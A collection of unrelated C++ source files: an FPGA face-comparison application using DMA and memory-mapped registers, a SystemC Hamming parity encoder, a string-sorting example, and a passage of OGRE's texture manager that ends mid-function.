static int test_dma_to_device(const char *devicename, uint32_t addr, uint32_t size, uint32_t offset, uint32_t count, const char *filename);
static int test_dma_from_device(const char *devicename, uint32_t addr, uint32_t size, uint32_t offset, uint32_t count, const char *filename);
static int reg_read(const char *devicename , uint32_t addr);
static int reg_write(const char *devicename , uint32_t addr,uint32_t writeval);
static void save_img(Mat &src1, Mat &src2, string info, string name, bool show_flag);
static double get_similarity(const Mat& first, const Mat& second);
static void preprocessing();
static void dpu_calculate();
static void result_output();
//---------------------------------------------------------------------
// main
//---------------------------------------------------------------------
int main(int argc, char* argv[]){
// check arguements------------------------------------------------------
/*
if (argc == 3){
printf("=====Start application WITHOUT saving or showing: ===========\n");
printf("=====process %s and write results into %s \n",argv[1],argv[2]);
}
else if (argc==4 && 0==strcmp(argv[3],"save")){
save_flag = 1;
printf("=====Start application WITH saving image WITHOUT showing: ===\n");
printf("=====process %s and write results into %s \n",argv[1],argv[2]);
}
else if (argc==5 && 0==strcmp(argv[4],"show")){
save_flag = 1;
show_flag = 1;
printf("=====Start application WITH saving image WITH showing: ======\n");
printf("=====process %s and write results into %s \n",argv[1],argv[2]);
}
else {
printf("=====Please give the arguements as follow: \n");
printf("=====basic : ./dpu_face_app input_list.txt results.txt\n");
printf("=====save image : ./dpu_face_app input_list.txt results.txt save\n");
printf("=====save & show : ./dpu_face_app input_list.txt results.txt save show\n");
return 0;
}
*/
// start init-----------------------------------------------------------
gettimeofday(&start, NULL);
// config dpu
//printf("----@@Init the app ---------------------------------------------\n");
//printf(" Write init weights and insts into ddr.");
//test_dma_to_device(DMA_H2C_DEVICE, WEIT1_DDR_ADDR, 23859120,0,1, WEIT_FILE_NAME);
//test_dma_to_device(DMA_H2C_DEVICE, WEIT2_DDR_ADDR, 23859120,0,1, WEIT_FILE_NAME);
//printf(" weight_ok");
//test_dma_to_device(DMA_H2C_DEVICE, INST1_DDR_ADDR, 257644, 0,1, INST_FILE_NAME);
//test_dma_to_device(DMA_H2C_DEVICE, INST2_DDR_ADDR, 257644, 0,1, INST_FILE_NAME);
//printf(" instr_ok \n");
// read input list into vector img_path_pairs
/*
printf(" Read input list into vector.\n");
ifstream input_list(argv[1]);
if(!input_list) {
cerr << "Can't open the file.\n";
FATAL;
}
string line;
while(getline(input_list, line))
img_path_pairs.push_back(line);
input_list.close();
// open output results file
//ofstream output_results(argv[2]);
//output_results.open(argv[2]);
//if(!output_results) {
// cerr << "Can't open output file.\n";
// FATAL;
//}
// Init time
//int pair = 0;
//TIMING(" ##Finish%d [Init] time: %f\n");
*/
// calculating pairs---------------------------------------------------
//printf("------Start calculating ---------------------------------------\n");
// preprocessing-------------------------------------------------------
preprocessing();
// dpu calculating-----------------------------------------------------
//dpu_calculate();
// result & output-----------------------------------------------------
//result_output();
// finish ---------------------------------------------------------------
//output_results.close();
//TIMING("======Finish%d [TOTAL] time: %f ============\n ");
//return 0;
}
static int test_dma_to_device(const char *devicename, uint32_t addr, uint32_t size, uint32_t offset, uint32_t count, const char *filename)
{
struct timeval ss,ee;
gettimeofday(&ss, NULL );
long timeuse;
int rc;
char *buffer = NULL;
char *allocated = NULL;
posix_memalign((void **)&allocated, 4096/*alignment*/, size + 4096);
assert(allocated);
buffer = allocated + offset;
int file_fd = -1;
int fpga_fd = open(devicename, O_RDWR);
assert(fpga_fd >= 0);
if (filename) {
file_fd = open(filename, O_RDONLY);
assert(file_fd >= 0);
}
/* fill the buffer with data from file? */
if (file_fd >= 0) {
/* read data from file into memory buffer */
rc = read(file_fd, buffer, size);
if (rc != size) perror("read(file_fd)");
assert(rc == size);
}
/* select AXI MM address */
off_t off = lseek(fpga_fd, addr, SEEK_SET);
while (count--) {
/* write buffer to AXI MM address using SGDMA */
rc = write(fpga_fd, buffer, size);
assert(rc == size);
}
close(fpga_fd);
if (file_fd >= 0) {
close(file_fd);
}
free(allocated);
}
static int test_dma_from_device(const char *devicename, uint32_t addr, uint32_t size, uint32_t offset, uint32_t count, const char *filename)
{
struct timeval ss,ee;
gettimeofday(&ss, NULL );
long timeuse;
int rc;
char *buffer = NULL;
char *allocated = NULL;
posix_memalign((void **)&allocated, 4096/*alignment*/, size + 4096);
assert(allocated);
buffer = allocated + offset;
int file_fd = -1;
int fpga_fd = open(devicename, O_RDWR | O_NONBLOCK);
assert(fpga_fd >= 0);
/* create file to write data to */
if (filename) {
file_fd = open(filename, O_RDWR | O_CREAT | O_TRUNC | O_SYNC, 0666);
assert(file_fd >= 0);
}
while (count--) {
/* select AXI MM address */
off_t off = lseek(fpga_fd, addr, SEEK_SET);
/* read data from AXI MM into buffer using SGDMA */
rc = read(fpga_fd, buffer, size);
if ((rc > 0) && (rc < size)) {
}
/* file argument given? */
if ((file_fd >= 0)) {
/* write buffer to file */
rc = write(file_fd, buffer, size);
assert(rc == size);
}
}
close(fpga_fd);
if (file_fd >=0) {
close(file_fd);
}
free(allocated);
}
static int reg_read(const char *devicename , uint32_t addr) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result, writeval;
off_t target;
/* access width */
int access_width = 'w';
char *device;
device = strdup(devicename);
target = addr;
access_width = 'w';
if ((fd = open(devicename, O_RDWR | O_SYNC)) == -1) FATAL;
/* map one page */
map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map_base == (void *) -1) FATAL;
/* calculate the virtual address to be accessed */
virt_addr = (char*)map_base + target;
/* read only */
read_result = *((uint32_t *) virt_addr);
/* swap 32-bit endianess if host is not little-endian */
read_result = ltohl(read_result);
if (munmap(map_base, MAP_SIZE) == -1) FATAL;
close(fd);
return (int)read_result;
}
static int reg_write(const char *devicename , uint32_t addr,uint32_t writeval) {
int fd;
void *map_base, *virt_addr;
uint32_t read_result;
off_t target;
/* access width */
int access_width = 'w';
char *device;
device = strdup(devicename);
target = addr;
if ((fd = open(devicename, O_RDWR | O_SYNC)) == -1) FATAL;
//close(fd);
//fd = open(devicename, O_RDWR | O_SYNC);
//fflush(stdout);
/* map one page */
map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map_base == (void *) -1) FATAL;
/* calculate the virtual address to be accessed */
virt_addr = (char*)map_base + target; //cast to char* to calculate
/* data value given, i.e. writing? */
/* swap 32-bit endianess if host is not little-endian */
writeval = htoll(writeval);
*((uint32_t *) virt_addr) = writeval;
if (munmap(map_base, MAP_SIZE) == -1) FATAL;
close(fd);
return 0;
}
static uint32_t getopt_integer(const char *optarg)
{
int rc;
uint32_t value;
rc = sscanf(optarg, "0x%x", &value);
if (rc <= 0)
rc = sscanf(optarg, "%ul", &value);
return value;
}
void save_img(Mat &src1, Mat &src2, string info, string name, bool show_flag)
{
// calculate the rows and cols of new picture
CV_Assert(src1.type()==src2.type());
int rows=src1.rows>src2.rows?src1.rows+15:src2.rows+15;
int cols=src1.cols+10+src2.cols;
// copy src into dst and put text on
Mat dst = Mat::zeros(rows, cols, src1.type());
src1.copyTo(dst(Rect(0, 15, src1.cols, src1.rows)));
src2.copyTo(dst(Rect(src1.cols+10,15, src2.cols, src2.rows)));
putText(dst, info, Point(180,12), CV_FONT_HERSHEY_PLAIN, 1, Scalar(255,255,255) );
// save and show
//cout<<name<<endl;
imwrite(name, dst);
if (show_flag) {
printf(" show image \n");
namedWindow("result", CV_WINDOW_AUTOSIZE);
imshow("result", dst);
waitKey(1);
}
}
double get_similarity(const Mat& first,const Mat& second)
{
//cout<<first <<endl;
double dotSum = first.dot(second); // inner product
//printf("dot:%f ",dotSum);
double normFirst = norm(first); // nomalization
double normSecond = norm(second);
//printf("norm:%f , %f ",normFirst,normSecond);
if(normFirst!=0 && normSecond!=0){
return dotSum/(normFirst*normSecond);
}
}
void preprocessing()
{
// get images name
string img_path_1, img_path_2;
ss << "./picture/1.jpg ./picture/2.jpg";
ss >> img_path_1;
ss >> img_path_2;
// read images
Mat image_1, image_2;
image_1 = imread(img_path_1, CV_LOAD_IMAGE_COLOR );
image_2 = imread(img_path_2, CV_LOAD_IMAGE_COLOR );
if (image_1.empty() || image_2.empty()) {
cerr << "Image data error.\n";
FATAL;
}
// process and push images and names into fifo
MyMat img_1, img_2;
resize(image_1, img_1._mat, Size(224,224),0,0, CV_INTER_AREA);
resize(image_2, img_2._mat, Size(224,224),0,0, CV_INTER_AREA);
// process and store images into bin file
img_1._mat = img_1._mat/2;
img_2._mat = img_2._mat/2;
ofstream input_bin_1, input_bin_2;
string input_bin_name_1, input_bin_name_2;
ss.clear();
ss << "./data/input_1.bin ";
ss << "./data/input_2.bin ";
ss >> input_bin_name_1;
ss >> input_bin_name_2;
input_bin_1.open(input_bin_name_1.c_str(), ios::out | ios::binary);
input_bin_2.open(input_bin_name_2.c_str(), ios::out | ios::binary);
if (!input_bin_1 || !input_bin_2) {
cerr << "failed to creat input data file" << endl;
FATAL;
}
for(int i=0;i<img_1._mat.rows;i++){
for(int j=0;j<img_1._mat.cols;j++){
input_bin_1.write((char*)&(img_1._mat.at<Vec3b>(i,j)), 3*sizeof(char));
input_bin_2.write((char*)&(img_2._mat.at<Vec3b>(i,j)), 3*sizeof(char));
}
}
input_bin_1.close();
input_bin_2.close();
}
void dpu_calculate()
{
for(int pair=0; pair<img_path_pairs.size(); pair++){
printf(" --[%d]--dpu_calculating------\n",pair);
// calculate with dpu ------------------------------------------------
int inited;
int inited_1, inited_2;
string input_bin_name_1, input_bin_name_2;
ss.clear();
ss << "/dev/shm/input_" << pair%10 << "_1.bin ";
ss << "/dev/shm/input_" << pair%10 << "_2.bin ";
ss >> input_bin_name_1;
ss >> input_bin_name_2;
// write data into ddr -----------------------------------------------
printf(" Write data into ddr.\n");
printf(" Write input_1 into ddr.\n");
test_dma_to_device(DMA_H2C_DEVICE,DATA1_DDR_ADDR,0x24c00,0,1,input_bin_name_1.c_str());
printf(" Write input_2 into ddr.\n");
test_dma_to_device(DMA_H2C_DEVICE,DATA2_DDR_ADDR,0x24c00,0,1,input_bin_name_2.c_str());
//TIMING(" --#%d#--[Write] finish time: %f\n");
// write config to run dpu ------------------------------------------
printf(" Write config into GPIO \n");
reg_write(DMA_REG_DEVICE,0x0000,0x0); // ideal state: no config
reg_write(DMA_REG_DEVICE,0x1000,0x0); // ideal state: no config
inited_1 = reg_read(DMA_REG_DEVICE,0x0000) & 0x1; // check inited
if (! inited_1){
printf(" dpu 1 not inited\n"); // if not, init
// write 0x1 to init
reg_write(DMA_REG_DEVICE,0x0000,0x1);
while ( ! (reg_read(DMA_REG_DEVICE,0x0000) & 0x1)){
// wait until read 0x1 which refers to inited
usleep(100);
}
reg_write(DMA_REG_DEVICE,0x1000,0x0); // unconfig
}
printf(" dpu 1 inited \n");
inited_2 = reg_read(DMA_REG_DEVICE,0x1000) & 0x1; // check inited
if (! inited_2){
printf(" dpu 2 not inited\n"); // if not, init
// write 0x1 to init
reg_write(DMA_REG_DEVICE,0x1000,0x1);
while ( ! (reg_read(DMA_REG_DEVICE,0x1000) & 0x1)){
// wait until read 0x1 which refers to inited
usleep(100);
}
reg_write(DMA_REG_DEVICE,0x1000,0x0); // unconfig
}
printf(" dpu 2 inited \n");
usleep(100);
// write config to run
reg_write(DMA_REG_DEVICE,0x0000,0x2); // config to run
reg_write(DMA_REG_DEVICE,0x1000,0x2); // config to run
usleep(100); // avoid read before really start
printf(" both running... \n");
while ( (reg_read(DMA_REG_DEVICE,0x0000) & 0x2) ){
// wait until read 0x01 which refers to finished
usleep(100);
}
printf(" dpu 1 finished \n");
while ( (reg_read(DMA_REG_DEVICE,0x1000) & 0x2) ){
// wait until read 0x01 which refers to finished
usleep(100);
}
printf(" dpu 2 finished \n");
reg_write(DMA_REG_DEVICE,0x0000,0x0); // return to ideal
reg_write(DMA_REG_DEVICE,0x1000,0x0); // return to ideal
//TIMING(" --#%d#--[DPU] finish time: %f\n");
// read results from DPU ------------------------------------------------
printf(" Read results from ddr\n");
string out_bin_name_1, out_bin_name_2;
ss.clear();
ss << "/dev/shm/out_" << pair%10 << "_1.bin ";
ss << "/dev/shm/out_" << pair%10 << "_2.bin ";
ss >> out_bin_name_1;
ss >> out_bin_name_2;
test_dma_from_device(DMA_C2H_DEVICE,DATA1_DDR_ADDR+4608,4096,0,1, out_bin_name_1.c_str());
test_dma_from_device(DMA_C2H_DEVICE,DATA2_DDR_ADDR+4608,4096,0,1, out_bin_name_2.c_str());
//TIMING(" --#%d#--[Read] finish time: %f\n");
}
}
void result_output()
{
for(int pair=0; pair<img_path_pairs.size(); pair++){
printf(" --[%d]--result_output------\n",pair);
// calculate the result and save into file-------------------------------
printf(" Calculate the result\n");
// read results from out files
Mat result_1(1,4096, CV_8UC1);
Mat result_2(1,4096, CV_8UC1);
string out_bin_name_1, out_bin_name_2;
ss.clear();
ss << "/dev/shm/out_" << pair%10 << "_1.bin ";
ss << "/dev/shm/out_" << pair%10 << "_2.bin ";
ss >> out_bin_name_1;
ss >> out_bin_name_2;
ifstream out_bin_1(out_bin_name_1.c_str(), ios::in | ios::binary);
ifstream out_bin_2(out_bin_name_2.c_str(), ios::in | ios::binary);
if (!out_bin_1 || !out_bin_2) {
cerr << "failed to open out result file" << endl;
FATAL;
}
out_bin_1.read((char*)result_1.data, 4096*sizeof(char));
out_bin_2.read((char*)result_2.data, 4096*sizeof(char));
out_bin_1.close();
out_bin_2.close();
printf(" Read results from output file.\n");
// calculate the similarity
double cos = get_similarity(result_1, result_2);
printf(" ##[cos]: %f \n", cos);
string result = "different";
if (cos > THRESHOLD){
result = "same";
}
printf(" Save final result into result file.\n");
// save final result into result file
string img_name_1_t, img_name_2_t;
MyMat img_1_t, img_2_t;
img_name_1_t = fifo_img_name_1.front();
img_name_2_t = fifo_img_name_2.front();
fifo_img_name_1.pop();
fifo_img_name_2.pop();
img_1_t = fifo_img_1.front();
img_2_t = fifo_img_2.front();
fifo_img_1.pop();
fifo_img_2.pop();
output_results << img_name_1_t <<" "<< img_name_2_t << " " << result << endl;
//TIMING(" --#%d#--[Result] finish time: %f\n");
// save result in image and show -----------------------------------------
if (save_flag) {
printf(" Save the image\n");
save_img(img_1_t._mat,img_2_t._mat, result,
"output/"+img_name_1_t+img_name_2_t+".jpg", show_flag);
//TIMING(" --#%d#--[Image] finish time %f\n");
}
}
}
| 22,168 | 8,048 |
#include "HCGenerator.h"
void HCGen::generate()
{
while(true){
sc_uint <15> res;
sc_uint <11> tmp;
bool p1, p2, p3, p4; //parity bits
din_rdy.write(1);
do{
wait();
}while(! din_vld.read());
tmp=din.read();
din_rdy.write(0);
p1= tmp.bit(10-0)^tmp.bit(10-1)^tmp.bit(10-3)^tmp.bit(10-4)^tmp.bit(10-6)^tmp.bit(10-8)^tmp.bit(10-10);
p2= tmp.bit(10-0)^tmp.bit(10-2)^tmp.bit(10-3)^tmp.bit(10-5)^tmp.bit(10-6)^tmp.bit(10-9)^tmp.bit(10-10);
p3=tmp.bit(10-1)^ tmp.bit(10-2)^tmp.bit(10-3)^tmp.bit(10-7)^tmp.bit(10-8)^tmp.bit(10-9)^tmp.bit(10-10);
p4=tmp.bit(10-4)^ tmp.bit(10-5)^tmp.bit(10-6)^tmp.bit(10-7)^tmp.bit(10-8)^tmp.bit(10-9)^tmp.bit(10-10);
//too lazy to add a looop :p
res.set(14,(bool)tmp.bit(10));
res.set(13,(bool)tmp.bit(9));
res.set(12,(bool)tmp.bit(8));
res.set(11,(bool)tmp.bit(7));
res.set(10,(bool)tmp.bit(6));
res.set(9,(bool)tmp.bit(5));
res.set(8,(bool)tmp.bit(4));
res.set(7,(bool)tmp.bit(3));
res.set(6,(bool)tmp.bit(2));
res.set(5,(bool)tmp.bit(1));
res.set(4,(bool)tmp.bit(0));
//yes i am not too lazy to add comments tho -|-
//parity bits
res.set(3,(bool)p1); //*
res.set(2,(bool)p2); //*
res.set(1,(bool)p3); //*
res.set(0,(bool)p4); //*
codedout_vld.write(1);
dout.write(res);
do{
wait();
}while(! codedout_rdy.read());
codedout_vld.write(0);
}
}
| 1,363 | 747 |
#include <iostream>
#include <algorithm>
#include <vector>
#include <string>
using namespace std;
bool myfunction(string i, string j)
{
return (i.length() < j.length());
}
int main(void)
{
string myints[] = {"hello", "world", "i", "love"};
vector<string> myvec(myints, myints + 4);
sort(myvec.begin(), myvec.end(), myfunction);
for (vector<string>::iterator it = myvec.begin(); it != myvec.end(); ++it) {
cout << ' ' << *it;
}
cout << endl;
return 0;
}
| 497 | 180 |
/*
-----------------------------------------------------------------------------
This source file is part of OGRE
(Object-oriented Graphics Rendering Engine)
For the latest info, see http://www.ogre3d.org/
Copyright (c) 2000-2014 Torus Knot Software Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-----------------------------------------------------------------------------
*/
#include "OgreStableHeaders.h"
#include "OgreHlmsTextureManager.h"
#include "OgreHlmsTexturePack.h"
#include "OgreTextureManager.h"
#include "OgreHardwarePixelBuffer.h"
#include "OgreRenderSystem.h"
#include "OgreBitwise.h"
#include "OgreLogManager.h"
namespace Ogre
{
HlmsTextureManager::HlmsTextureManager() : mRenderSystem( 0 ), mTextureId( 0 )
{
mDefaultTextureParameters[TEXTURE_TYPE_DIFFUSE].hwGammaCorrection = true;
mDefaultTextureParameters[TEXTURE_TYPE_MONOCHROME].pixelFormat = PF_L8;
mDefaultTextureParameters[TEXTURE_TYPE_NORMALS].pixelFormat = PF_BC5_SNORM;
mDefaultTextureParameters[TEXTURE_TYPE_NORMALS].isNormalMap = true;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL].hwGammaCorrection = true;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].pixelFormat=PF_BC5_SNORM;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].isNormalMap = true;
mDefaultTextureParameters[TEXTURE_TYPE_ENV_MAP].hwGammaCorrection = true;
mDefaultTextureParameters[TEXTURE_TYPE_NON_COLOR_DATA].hwGammaCorrection = false;
}
//-----------------------------------------------------------------------------------
HlmsTextureManager::~HlmsTextureManager()
{
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::_changeRenderSystem( RenderSystem *newRs )
{
mRenderSystem = newRs;
if( mRenderSystem )
{
const RenderSystemCapabilities *caps = mRenderSystem->getCapabilities();
if( caps )
{
TextureType textureType = TEX_TYPE_2D;
if( caps->hasCapability(RSC_TEXTURE_2D_ARRAY) ) //TODO
{
textureType = TEX_TYPE_2D_ARRAY;
for( size_t i=0; i<NUM_TEXTURE_TYPES; ++i )
{
mDefaultTextureParameters[i].packingMethod = TextureArrays;
mDefaultTextureParameters[i].maxTexturesPerArray = 40;
}
mDefaultTextureParameters[TEXTURE_TYPE_ENV_MAP].maxTexturesPerArray = 20;
if( !caps->hasCapability(RSC_TEXTURE_CUBE_MAP_ARRAY) )
mDefaultTextureParameters[TEXTURE_TYPE_ENV_MAP].maxTexturesPerArray = 1;
}
else
{
for( size_t i=0; i<NUM_TEXTURE_TYPES; ++i )
{
mDefaultTextureParameters[i].packingMethod = Atlas;
mDefaultTextureParameters[i].maxTexturesPerArray = 1;
}
mDefaultTextureParameters[TEXTURE_TYPE_ENV_MAP].maxTexturesPerArray = 1;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL].maxTexturesPerArray = 1;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].maxTexturesPerArray = 1;
}
bool hwGammaCorrection = caps->hasCapability( RSC_HW_GAMMA );
mDefaultTextureParameters[TEXTURE_TYPE_DIFFUSE].hwGammaCorrection = hwGammaCorrection;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL].hwGammaCorrection = hwGammaCorrection;
// BC5 is the best, native (lossy) compressor for normal maps.
// DXT5 is like BC5, using the "store only in green and alpha channels" method.
// The last one is lossless, using UV8 to store uncompressed,
// and retrieve z = sqrt(x²+y²)
if( caps->hasCapability(RSC_TEXTURE_COMPRESSION_BC4_BC5) )
{
mDefaultTextureParameters[TEXTURE_TYPE_NORMALS].pixelFormat = PF_BC5_SNORM;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].pixelFormat = PF_BC5_SNORM;
}
/*else if( caps->hasCapability(RSC_TEXTURE_COMPRESSION_DXT) )
{
mDefaultTextureParameters[TEXTURE_TYPE_NORMALS].pixelFormat = PF_DXT5;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].pixelFormat = PF_DXT5;
}*/
else
{
PixelFormat pf = caps->hasCapability( RSC_TEXTURE_SIGNED_INT ) ? PF_R8G8_SNORM :
PF_BYTE_LA;
mDefaultTextureParameters[TEXTURE_TYPE_NORMALS].pixelFormat = pf;
mDefaultTextureParameters[TEXTURE_TYPE_DETAIL_NORMAL_MAP].pixelFormat = pf;
}
mBlankTexture = TextureManager::getSingleton().createManual( "Hlms_Blanktexture",
ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,
textureType, 4, 4, 1, 0, PF_R8G8B8A8, TU_DEFAULT, 0,
false, 0, BLANKSTRING, false );
v1::HardwarePixelBufferSharedPtr pixelBufferBuf = mBlankTexture->getBuffer(0);
const PixelBox &currImage = pixelBufferBuf->lock( Box( 0, 0, 0, 4, 4, 1 ),
v1::HardwareBuffer::HBL_DISCARD );
uint8 *data = reinterpret_cast<uint8*>( currImage.data );
for( size_t y=0; y<currImage.getHeight(); ++y )
{
for( size_t x=0; x<currImage.getWidth(); ++x )
{
*data++ = 255;
*data++ = 255;
*data++ = 255;
*data++ = 255;
}
data += ( currImage.rowPitch - currImage.getWidth() ) * 4;
}
pixelBufferBuf->unlock();
}
}
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::copyTextureToArray( const Image &srcImage, TexturePtr dst, uint16 entryIdx,
uint8 srcBaseMip, bool isNormalMap )
{
//TODO: Deal with mipmaps (& cubemaps & 3D? does it work?). We could have:
// * Original image has mipmaps, we use them all
// * Original image has mipmaps, we discard them
// * Original image has mipmaps, we use them, but we need to create more
// * Original image doesn't have mipmaps, but we need to create them
// The last problem is a subset of the 3rd problem
//
// See Texture::_loadImages
uint8 minMipmaps = std::min<uint8>( srcImage.getNumMipmaps() - srcBaseMip,
dst->getNumMipmaps() ) + 1;
for( uint8 j=0; j<minMipmaps; ++j )
{
v1::HardwarePixelBufferSharedPtr pixelBufferBuf = dst->getBuffer(0, j);
const PixelBox &currImage = pixelBufferBuf->lock( Box( 0, 0, entryIdx,
pixelBufferBuf->getWidth(),
pixelBufferBuf->getHeight(),
entryIdx + 1 ),
v1::HardwareBuffer::HBL_DISCARD );
if( isNormalMap && srcImage.getFormat() != dst->getFormat() )
PixelUtil::convertForNormalMapping( srcImage.getPixelBox(0, j + srcBaseMip), currImage );
else
PixelUtil::bulkPixelConversion( srcImage.getPixelBox(0, j + srcBaseMip), currImage );
pixelBufferBuf->unlock();
}
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::copyTextureToAtlas( const Image &srcImage, TexturePtr dst,
uint16 entryIdx, uint16 sqrtMaxTextures,
uint8 srcBaseMip, bool isNormalMap )
{
//TODO: Deal with mipmaps (& cubemaps & 3D? does it work?).
size_t xBlock = entryIdx % sqrtMaxTextures;
size_t yBlock = entryIdx / sqrtMaxTextures;
size_t nextX = ( entryIdx % sqrtMaxTextures ) + 1;
size_t nextY = ( entryIdx / sqrtMaxTextures ) + 1;
/*if( sqrtMaxTextures > 1 && PixelUtil::isCompressed( dst->getFormat() ) )
{
HardwarePixelBufferSharedPtr pixelBufferBuf = dst->getBuffer(0);
const PixelBox &currImage = pixelBufferBuf->lock( Box( 0, 0, 0,
dst->getWidth(),
dst->getHeight(),
dst->getDepth() ),
HardwareBuffer::HBL_DISCARD );
//HardwareBuffer::HBL_NORMAL );
PixelUtil::bulkCompressedSubregion( srcImage.getPixelBox(0, srcBaseMip), currImage,
Box( xBlock * srcImage.getWidth(),
yBlock * srcImage.getHeight(),
0,
nextX * srcImage.getWidth(),
nextY * srcImage.getHeight(),
dst->getDepth() ) );
pixelBufferBuf->unlock();
}
else*/
uint8 minMipmaps = std::min<uint8>( srcImage.getNumMipmaps() - srcBaseMip,
dst->getNumMipmaps() ) + 1;
for( uint8 j=0; j<minMipmaps; ++j )
{
v1::HardwarePixelBufferSharedPtr pixelBufferBuf = dst->getBuffer(0, j);
const PixelBox &currImage = pixelBufferBuf->lock( Box( xBlock * pixelBufferBuf->getWidth(),
yBlock * pixelBufferBuf->getHeight(),
0,
nextX * pixelBufferBuf->getWidth(),
nextY * pixelBufferBuf->getHeight(),
dst->getDepth() ),
v1::HardwareBuffer::HBL_DISCARD );
if( isNormalMap && srcImage.getFormat() != dst->getFormat() )
PixelUtil::convertForNormalMapping( srcImage.getPixelBox(0, j + srcBaseMip), currImage );
else
PixelUtil::bulkPixelConversion( srcImage.getPixelBox(0, j + srcBaseMip), currImage );
pixelBufferBuf->unlock();
}
}
//-----------------------------------------------------------------------------------
void HlmsTextureManager::copy3DTexture( const Image &srcImage, TexturePtr dst,
uint16 sliceStart, uint16 sliceEnd, uint8 srcBaseMip )
{
for( uint16 i=sliceStart; i<sliceEnd; ++i )
{
uint8 minMipmaps = std::min<uint8>( srcImage.getNumMipmaps() - srcBaseMip,
dst->getNumMipmaps() ) + 1;
for( uint8 j=0; j<minMipmaps; ++j )
{
v1::HardwarePixelBufferSharedPtr pixelBufferBuf = dst->getBuffer( i, j );
const PixelBox &currImage = pixelBufferBuf->lock( Box( 0, 0, 0,
pixelBufferBuf->getWidth(),
pixelBufferBuf->getHeight(),
1 ),
v1::HardwareBuffer::HBL_DISCARD );
PixelUtil::bulkPixelConversion( srcImage.getPixelBox( i - sliceStart,
srcBaseMip + j ),
currImage );
pixelBufferBuf->unlock();
}
}
}
//-----------------------------------------------------------------------------------
HlmsTextureManager::TextureArrayVec::iterator HlmsTextureManager::findSuitableArray(
TextureMapType mapType,
uint32 width, uint32 height,
uint32 depth, uint32 faces,
PixelFormat format,
uint8 numMipmaps )
{
TextureArrayVec::iterator retVal = mTextureArrays[mapType].end();
//Find an array where we can put it. If there is none, we'll have have to create a new one
TextureArrayVec::iterator itor = mTextureArrays[mapType].begin();
TextureArrayVec::iterator end = mTextureArrays[mapType].end();
while( itor != end && retVal == end )
{
TextureArray &textureArray = *itor;
uint32 arrayTexWidth = textureArray.texture->getWidth() / textureArray.sqrtMaxTextures;
uint32 arrayTexHeight= textureArray.texture->getHeight() / textureArray.sqrtMaxTextures;
if( textureArray.automatic &&
textureArray.activeEntries < textureArray.maxTextures &&
arrayTexWidth == width &&
arrayTexHeight == height &&
(textureArray.texture->getTextureType() != TEX_TYPE_3D ||
textureArray.texture->getDepth()== depth) &&
textureArray.texture->getNumFaces() == faces &&
textureArray.texture->getFormat() == format &&
textureArray.texture->getNumMipmaps() == numMipmaps )
{
retVal = itor;
}
++itor;
}
return retVal;
}
//-----------------------------------------------------------------------------------
HlmsTextureManager::TextureLocation HlmsTextureManager::createOrRetrieveTexture(
const String &texName,
TextureMapType mapType )
{
return createOrRetrieveTexture( texName, texName, mapType );
}
//-----------------------------------------------------------------------------------
HlmsTextureManager::TextureLocation HlmsTextureManager::createOrRetrieveTexture(
const String &aliasName,
const String &texName,
TextureMapType mapType,
Image *imgSource )
{
TextureEntry searchName( aliasName );
TextureEntryVec::iterator it = std::lower_bound( mEntries.begin(), mEntries.end(), searchName );
TextureLocation retVal;
assert( !aliasName.empty() && "Alias name can't be left empty!" );
try
{
if( it == mEntries.end() || it->name != searchName.name )
{
LogManager::getSingleton().logMessage( "Texture: loading " + texName + " as " + aliasName );
Image localImageVar;
Image *image = imgSource;
if( !imgSource )
{
image = &localImageVar;
image->load( texName, ResourceGroupManager::AUTODETECT_RESOURCE_GROUP_NAME );
}
PixelFormat imageFormat = image->getFormat();
const RenderSystemCapabilities *caps = mRenderSystem->getCapabilities();
if( mDefaultTextureParameters[mapType].pixelFormat != PF_UNKNOWN )
{
//Don't force non-compressed sources to be compressed when we can't do it
//automatically, but force them to a format we actually understand.
if( mDefaultTextureParameters[mapType].isNormalMap &&
mDefaultTextureParameters[mapType].pixelFormat == PF_BC5_SNORM &&
imageFormat != PF_BC5_SNORM )
{
LogManager::getSingleton().logMessage(
"WARNING: normal map texture " + texName + " is not BC5S compressed. "
"This is encouraged for lower memory usage. If you don't want to see "
"this message without compressing to BC5, set "
"getDefaultTextureParameters()[TEXTURE_TYPE_NORMALS].pixelFormat to "
"PF_R8G8_SNORM (or PF_BYTE_LA if RSC_TEXTURE_SIGNED_INT is not "
"supported)", LML_NORMAL);
imageFormat = caps->hasCapability( RSC_TEXTURE_SIGNED_INT ) ? PF_R8G8_SNORM :
PF_BYTE_LA;
}
else if (mDefaultTextureParameters[mapType].pixelFormat != imageFormat &&
(PixelUtil::isCompressed(imageFormat) ||
